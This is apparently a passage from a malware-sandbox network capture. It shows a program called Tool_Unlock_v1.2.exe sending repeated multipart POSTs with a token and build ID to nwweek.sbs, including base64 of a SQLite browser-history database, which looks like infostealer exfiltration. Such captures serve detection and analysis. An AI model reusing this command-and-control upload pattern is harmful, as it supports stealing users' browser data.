2024-12-29 04:45:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:27 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:27 UTC	11617	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:28 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49770	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:28 UTC	275	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----5XB1VKX4WTRIMYC2D268 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 493 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:28 UTC	493	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 58 42 31 56 4b 58 34 57 54 52 49 4d 59 43 32 44 32 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 35 58 42 31 56 4b 58 34 57 54 52 49 4d 59 43 32 44 32 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 35 58 42 31 56 4b 58 34 57 54 52 49 4d 59 43 32 44 32 36 38 0d 0a 43 6f 6e 74 Data Ascii: ------5XB1VKX4WTRIMYC2D268Content-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------5XB1VKX4WTRIMYC2D268Content-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------5XB1VKX4WTRIMYC2D268Cont
2024-12-29 04:45:29 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:29 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49799	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:34 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ZU3E3EC2VAAAIEUKFK6X User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 3165 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:34 UTC	3165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 5a 55 33 45 33 45 43 32 56 41 41 41 49 45 55 4b 46 4b 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 5a 55 33 45 33 45 43 32 56 41 41 41 49 45 55 4b 46 4b 36 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 5a 55 33 45 33 45 43 32 56 41 41 41 49 45 55 4b 46 4b 36 58 0d 0a 43 6f 6e 74 Data Ascii: ------ZU3E3EC2VAAAIEUKFK6XContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------ZU3E3EC2VAAAIEUKFK6XContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------ZU3E3EC2VAAAIEUKFK6XCont
2024-12-29 04:45:35 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-29 04:45:35 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49811	116.203.14.4	443	6224	C:\Users\user\Desktop\Tool_Unlock_v1.2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:36 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----2N7Y58YCJW47QIWB168Y User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: nwweek.sbs Content-Length: 207993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 32 4e 37 59 35 38 59 43 4a 57 34 37 51 49 57 42 31 36 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 36 34 34 63 66 65 62 65 37 34 34 65 39 64 32 31 39 39 62 30 34 64 37 63 33 61 63 33 35 0d 0a 2d 2d 2d 2d 2d 2d 32 4e 37 59 35 38 59 43 4a 57 34 37 51 49 57 42 31 36 38 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 65 31 34 37 65 65 65 35 33 31 62 32 33 66 65 35 32 61 33 62 66 32 32 36 36 65 65 30 33 65 64 0d 0a 2d 2d 2d 2d 2d 2d 32 4e 37 59 35 38 59 43 4a 57 34 37 51 49 57 42 31 36 38 59 0d 0a 43 6f 6e 74 Data Ascii: ------2N7Y58YCJW47QIWB168YContent-Disposition: form-data; name="token"6c5644cfebe744e9d2199b04d7c3ac35------2N7Y58YCJW47QIWB168YContent-Disposition: form-data; name="build_id"7e147eee531b23fe52a3bf2266ee03ed------2N7Y58YCJW47QIWB168YCont
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 4d 54 43 6c 51 42 41 59 58 4b 79 73 42 57 58 52 68 59 6d 78 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 63 33 46 73 61 58 52 6c 58 33 4e 6c 63 58 56 6c 62 6d 4e 6c 42 55 4e 53 52 55 46 55 52 53 42 55 51 55 4a 4d 52 53 42 7a 63 57 78 70 64 47 56 66 63 32 56 78 64 57 56 75 59 32 55 6f 62 6d 46 74 5a 53 78 7a 5a 58 45 70 67 58 38 44 42 78 63 56 46 51 47 44 59 58 52 68 59 6d 78 6c 64 58 4a 73 63 33 56 79 62 48 4d 45 51 31 4a 46 51 56 52 46 49 46 52 42 51 6b 78 46 49 48 56 79 62 48 4d 6f 61 57 51 67 53 55 35 55 52 55 64 46 55 69 42 51 55 6b 6c 4e 51 56 4a 5a 49 45 74 46 57 53 42 42 56 56 52 50 53 55 35 44 55 6b 56 4e 52 55 35 55 4c 48 56 79 62 43 42 4d 54 30 35 48 56 6b 46 53 51 30 68 42 55 69 78 30 61 58 52 73 5a 53 42 4d 54 30 35 48 56 6b Data Ascii: MTClQBAYXKysBWXRhYmxlc3FsaXRlX3NlcXVlbmNlc3FsaXRlX3NlcXVlbmNlBUNSRUFURSBUQUJMRSBzcWxpdGVfc2VxdWVuY2UobmFtZSxzZXEpgX8DBxcVFQGDYXRhYmxldXJsc3VybHMEQ1JFQVRFIFRBQkxFIHVybHMoaWQgSU5URUdFUiBQUklNQVJZIEtFWSBBVVRPSU5DUkVNRU5ULHVybCBMT05HVkFSQ0hBUix0aXRsZSBMT05HVk
2024-12-29 04:45:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-29 04:45:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 29 Dec 2024 04:45:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49820	172.64.41.3	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 04:45:36 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-29 04:45:36 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-29 04:45:36 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Sun, 29 Dec 2024 04:45:36 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f97243f0acb0cb8-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 04:45:36 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$ c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49817	172.64.41.3	443	7364	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
